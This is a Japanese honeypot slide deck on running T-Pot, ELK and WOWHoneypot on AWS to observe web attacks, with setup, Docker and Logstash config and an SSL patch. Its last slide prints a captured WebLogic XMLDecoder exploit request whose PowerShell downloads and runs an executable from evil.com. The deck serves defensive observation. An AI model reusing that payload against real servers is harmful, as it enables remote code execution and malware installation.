AWS + T-Pot + ELK + WOWHoneypot でWeb攻撃を観察してみよう

Bb6c58824da6ffb4aa734173e50bb7a0?s=47 graneed
June 30, 2018

AWS + T-Pot + ELK + WOWHoneypot でWeb攻撃を観察してみよう

2018年6月30日の第4回ハニーポッター技術交流会でLTした資料です。

第4回ハニーポッター技術交流会
https://hanipo-tech.connpass.com/event/90337/

更に細かい解説はこちらから
Amazon EC2(t2.medium)でT-Pot構築(その1)
https://graneed.hatenablog.com/entry/2018/06/10/030525

Bb6c58824da6ffb4aa734173e50bb7a0?s=128

graneed

June 30, 2018
Tweet

Transcript

  1. 1.

    AWS + T-Pot + ELK + WOWHoneypot で Web攻撃を 観察してみよう

    2018年6月30日 第4回ハニーポット技術交流会 @graneed111
  2. 5.

    5

  3. 7.

    7

  4. 25.

    IAMユーザ作成 ◦ AdministratorAccess権限を持つグループを作成し て、グループにユーザ追加 2段階認証 ◦ ルートアカウント、IAMユーザともに設定 請求情報アラート ◦ 想定外のリソース使用時や、

    万一の乗っ取られ時に、早めに気付くように AWSアカウントの初期設定 (参考) AWSアカウントを取得したら速攻でやっておくべき初期設定まとめ https://qiita.com/tmknom/items/303db2d1d928db720888 25
  5. 28.

    管理画面とSSHへの接続元IPを限定 ◦ 例えば自宅のIPのみに絞ることを推奨 ◦ 管理画面のポートは64297 ◦ SSHのポートは64295 →T-Potインストーラーが変更している。 攻撃してほしいポートの穴あけ ◦

    Honeytrapが全パケットを監視しているため、 64295-64297以外は全て開放。 →特に観測しないなら限定してもよいかも。 セキュリティグループの設定 なお、半年ほどこの設定で運用していますが、 今のところ、特に問題は発生していません✋ 28
  6. 29.

    各ハニーポットのログ保存期間 ◦ デフォルトのログローテート設定は30日間 ◦ ディスク容量を観察しながら調整 ElasticSearchのデータ保存期間 ◦ デフォルトのデータ保存期間は90日間 ◦ ディスク容量よりCPU使用率の方が問題

    →t2.mediumの場合、CPU使用率20%を超えると、  CPUクレジット消費開始。 →Kibanaの表示がタイムアウトするなど、  異常を感じたらCPUクレジットを確認。  自分はデータ保存期間45日間の設定で運用。 チューニング 29
  7. 33.

    { "_index": "logstash-2018.06.13", "_type": "Glastopf", "_id": "AWP59B7w64waFoBhFges", "_version": 1, "_score":

    null, "_source": { "ip_rep": "known attacker", "t-pot_hostname": "massshoemaker", "http_uri": "/", "geoip": { "as_org": "Aljeel Aljadeed for Technology", "timezone": "Africa/Tripoli", "ip": "YYY.YYY.YYY.YYY", "latitude": 25, "country_name": "Libya", "country_code2": "LY", "continent_code": "AF", "country_code3": "LY", "location": { "lon": 17, "lat": 25 }, "asn": 37284, "longitude": 17 }, "t-pot_ip_int": "172.31.26.55", "message": "2018-06-13 16:21:55,148 (glastopf.glastopf) YYY.YYY.YYY.YYY requested GET / on cf9f13d55e26:80", "type": "Glastopf", "src_ip": "YYY.YYY.YYY.YYY", "t-pot_ip_ext": "XXX.XXX.XXX.XXX", "path": "/data/glastopf/log/glastopf.log", "@timestamp": "2018-06-13T16:21:55.148Z", "http_method": "GET", "@version": "1", "host": "83bc2b6ed990", "dest_port": 80 }, "fields": { "@timestamp": [ 1528906915148 ] }, "highlight": { "type": [ "@kibana-highlighted-field@Glastopf@/kibana-highlighted-field @" ] }, "sort": [ 1528906915148 ] } GlastopfでHTTP攻撃を観察する GlastopfからElasticSearchへの連携情報 33
  8. 34.

    { "_index": "logstash-2018.06.13", "_type": "Glastopf", "_id": "AWP59B7w64waFoBhFges", "_version": 1, "_score":

    null, "_source": { "ip_rep": "known attacker", "t-pot_hostname": "massshoemaker", "http_uri": "/", "geoip": { "as_org": "Aljeel Aljadeed for Technology", "timezone": "Africa/Tripoli", "ip": "YYY.YYY.YYY.YYY", "latitude": 25, "country_name": "Libya", "country_code2": "LY", "continent_code": "AF", "country_code3": "LY", "location": { "lon": 17, "lat": 25 }, "asn": 37284, "longitude": 17 }, "t-pot_ip_int": "172.31.26.55", "message": "2018-06-13 16:21:55,148 (glastopf.glastopf) YYY.YYY.YYY.YYY requested GET / on cf9f13d55e26:80", "type": "Glastopf", "src_ip": "YYY.YYY.YYY.YYY", "t-pot_ip_ext": "XXX.XXX.XXX.XXX", "path": "/data/glastopf/log/glastopf.log", "@timestamp": "2018-06-13T16:21:55.148Z", "http_method": "GET", "@version": "1", "host": "83bc2b6ed990", "dest_port": 80 }, "fields": { "@timestamp": [ 1528906915148 ] }, "highlight": { "type": [ "@kibana-highlighted-field@Glastopf@/kibana-highlighted-field @" ] }, "sort": [ 1528906915148 ] } GlastopfでHTTP攻撃を観察する GlastopfからElasticSearchへの連携情報 情報が足りない! (HTTPヘッダーがない、POSTデータがない。) 34
  9. 35.

    Glastopfで詳細情報を見るには Glastopfは詳細情報をsqliteファイルに保存し ている。中身を見るには、 1. SSHでログイン 2. rootに切り替え 3. /data/glastopf/db/に移動 4.

    glastopf.db.n.gzを解凍 (nはローテーション数) 5. sqliteコマンドでオープン 6. SQLを作成 7. SQLを実行 8. 4~7を繰り返し 35
  10. 36.

    Glastopfで詳細情報を見るには Glastopfは詳細情報をsqliteファイルに保存し ている。中身を見るには、 1. SSHでログイン 2. rootに切り替え 3. /data/glastopf/db/に移動 4.

    glastopf.db.n.gzを解凍 (nはローテーション数) 5. sqliteコマンドでオープン 6. SQLを作成 7. SQLを実行 8. 4~7を繰り返し 36 めんどくさい!
  11. 40.

    WOWHoneypot用Dockerイメージ作成 Dockerfile作成してDockerイメージ生成 FROM ubuntu:latest RUN apt-get update \ && apt-get

    install -y git python3 \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/morihisa/WOWHoneypot.git /opt/wowhoneypot WORKDIR /opt/wowhoneypot/ CMD ["python3", "wowhoneypot.py"] コンテナ起動定義を追加 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlに定義追加 40
  12. 42.

    ELKへのログ連携 Logstashの定義追加&Dockerイメージ更新 (snip) if [type] == "WOWHoneypot" or [type] ==

    "WOWHoneypotssl" { grok { match => [ "message", '\A\[%{TIMESTAMP_ISO8601:timestamp}\]%{SPACE}%{IP:src_ip}%{SPACE}%{IPORHOST:http.h ostname}:%{NUMBER:dest_port}%{SPACE}"%{WORD:http.http_method}%{SPACE}(?:%{URIPAT HPARAM:http.url}|%{URI:http.url})%{SPACE}%{DATA:http.protocol}"%{SPACE}%{NUMBER:http. http_status}%{SPACE}%{WORD:mrrid}%{SPACE}%{GREEDYDATA:http.request_b64}' ] remove_field => ["port"] } date { match => [ "timestamp", "yyyy-MM-dd HH:mm:ssZ" ] remove_field => ["timestamp"] } ruby { init => "require 'base64'" code => "event.set('http.request', Base64.decode64(event.get('http.request_b64')))" } } (snip) /opt/tpot/docker/elk/logstash/dist/logstash.conf Base64エンコードされたHTTPリクエ スト全体のデータをデコード ログの項目を切り出し ※他、数箇所の追加あり。 42
  13. 47.

    SSL対応機能の追加 wowhoneypot.py(1/3) (snip) import select import urllib.parse import ssl from

    http.server import HTTPServer, BaseHTTPRequestHandler from mrr_checker import parse_mrr (snip) ip = "0.0.0.0" port = 8000 hostport = 80 serverheader = "test" artpath = "./art/" (snip) separator = " " ipmasking = False ssl_enable = False certfilepath = "" class WOWHoneypotHTTPServer(HTTPServer): 47
  14. 48.

    SSL対応機能の追加 wowhoneypot.py(2/3) (snip) if "host" in self.headers: if self.headers["host"].find(" ")

    == -1: hostname = self.headers["host"] else: hostname = self.headers["host"].split(" ")[0] if hostname.find(":") == -1: hostname = hostname + ":" + hostport else: hostname = "blank:" + hostport (snip) else: ipmasking = False if line.startswith("certfilepath"): global ssl_enable,certfilepath ssl_enable = True certfilepath = line.split('=')[1].strip() if line.startswith("hostport"): global hostport hostport = line.split('=')[1].strip() global accesslogfile 48
  15. 49.

    SSL対応機能の追加 wowhoneypot.py(3/3) (snip) logging_system("Hunting: {0}".format(hunt_enable), False, False) logging_system("IP Masking: {0}".format(ipmasking),

    False, False) logging_system("SSL Enable: {0}".format(ssl_enable), False, False) myServer = WOWHoneypotHTTPServer((ip, port), WOWHoneypotRequestHandler) myServer.timeout = timeout if ssl_enable: myServer.socket = ssl.wrap_socket(myServer.socket, certfile=certfilepath, server_side=True) try: myServer.serve_forever() except KeyboardInterrupt: pass myServer.server_close() [EOF] 49
  16. 50.

    # default port: 8080 port=44333 # default server header: Apache

    serverheader=Apache (snip) # for GDPR(True: replace source ip address with 0.0.0.0) ipmasking=False # SSL certfile path certfilepath=./server.pem # default host header port: 80 hostport = 443 [EOF] SSL対応機能の追加 config.txt 50
  17. 52.

    HTTPS版WOWHoneypot用Dockerイメージ作成 Dockerfile作成してDockerイメージ生成 FROM ubuntu:latest RUN apt-get update \ && apt-get

    install -y git python3 \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/morihisa/WOWHoneypot.git /opt/wowhoneypot ADD dist/ /root/dist/ RUN mv /root/dist/wowhoneypot.py /opt/wowhoneypot/ && \ mv /root/dist/config.txt /opt/wowhoneypot/ && \ mv /root/dist/server.pem /opt/wowhoneypot/ WORKDIR /opt/wowhoneypot/ CMD ["python3", "wowhoneypot.py"] コンテナ起動定義を追加 ◦ T-PotのDocker Compose定義ファイルの /opt/tpot/etc/tpot.ymlに定義追加 52 変更したファイルと オレオレ証明書を配備
  18. 62.

    デモ2. Honeytrapを利用した流行りの攻撃観察 62 >>> print(binascii.unhexlify("504f535420..(snip)..6c6f70653e")) POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Cache-Control: no-cache

    Connection: Keep-Alive (snip) <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>powershell (new-object System.Net.WebClient).DownloadFile('http://evil.com/downloader.exe','C:/ Windows/temp/wlanexts.exe');start C:/Windows/temp/wlanexts.exe</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>